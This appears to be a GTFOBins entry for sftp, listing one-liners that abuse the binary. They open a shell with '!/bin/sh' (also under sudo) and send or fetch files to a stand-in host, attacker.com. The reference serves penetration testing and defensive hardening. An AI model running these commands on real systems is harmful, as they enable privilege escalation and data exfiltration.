GTFOBins.github.io/_gtfobins/sftp.md
2018-05-24 21:05:11 +01:00

563 B

functions
exec-interactive sudo-enabled upload download
code
HOST=user@attacker.com sftp $HOST !/bin/sh
code
HOST=user@attacker.com sudo sftp $HOST !/bin/sh
description code
Send local file to a SSH server. RHOST=user@attacker.com sftp $RHOST put file_to_send where_to_save
description code
Fetch a remote file from a SSH server. RHOST=user@attacker.com sftp $RHOST get file_to_get where_to_save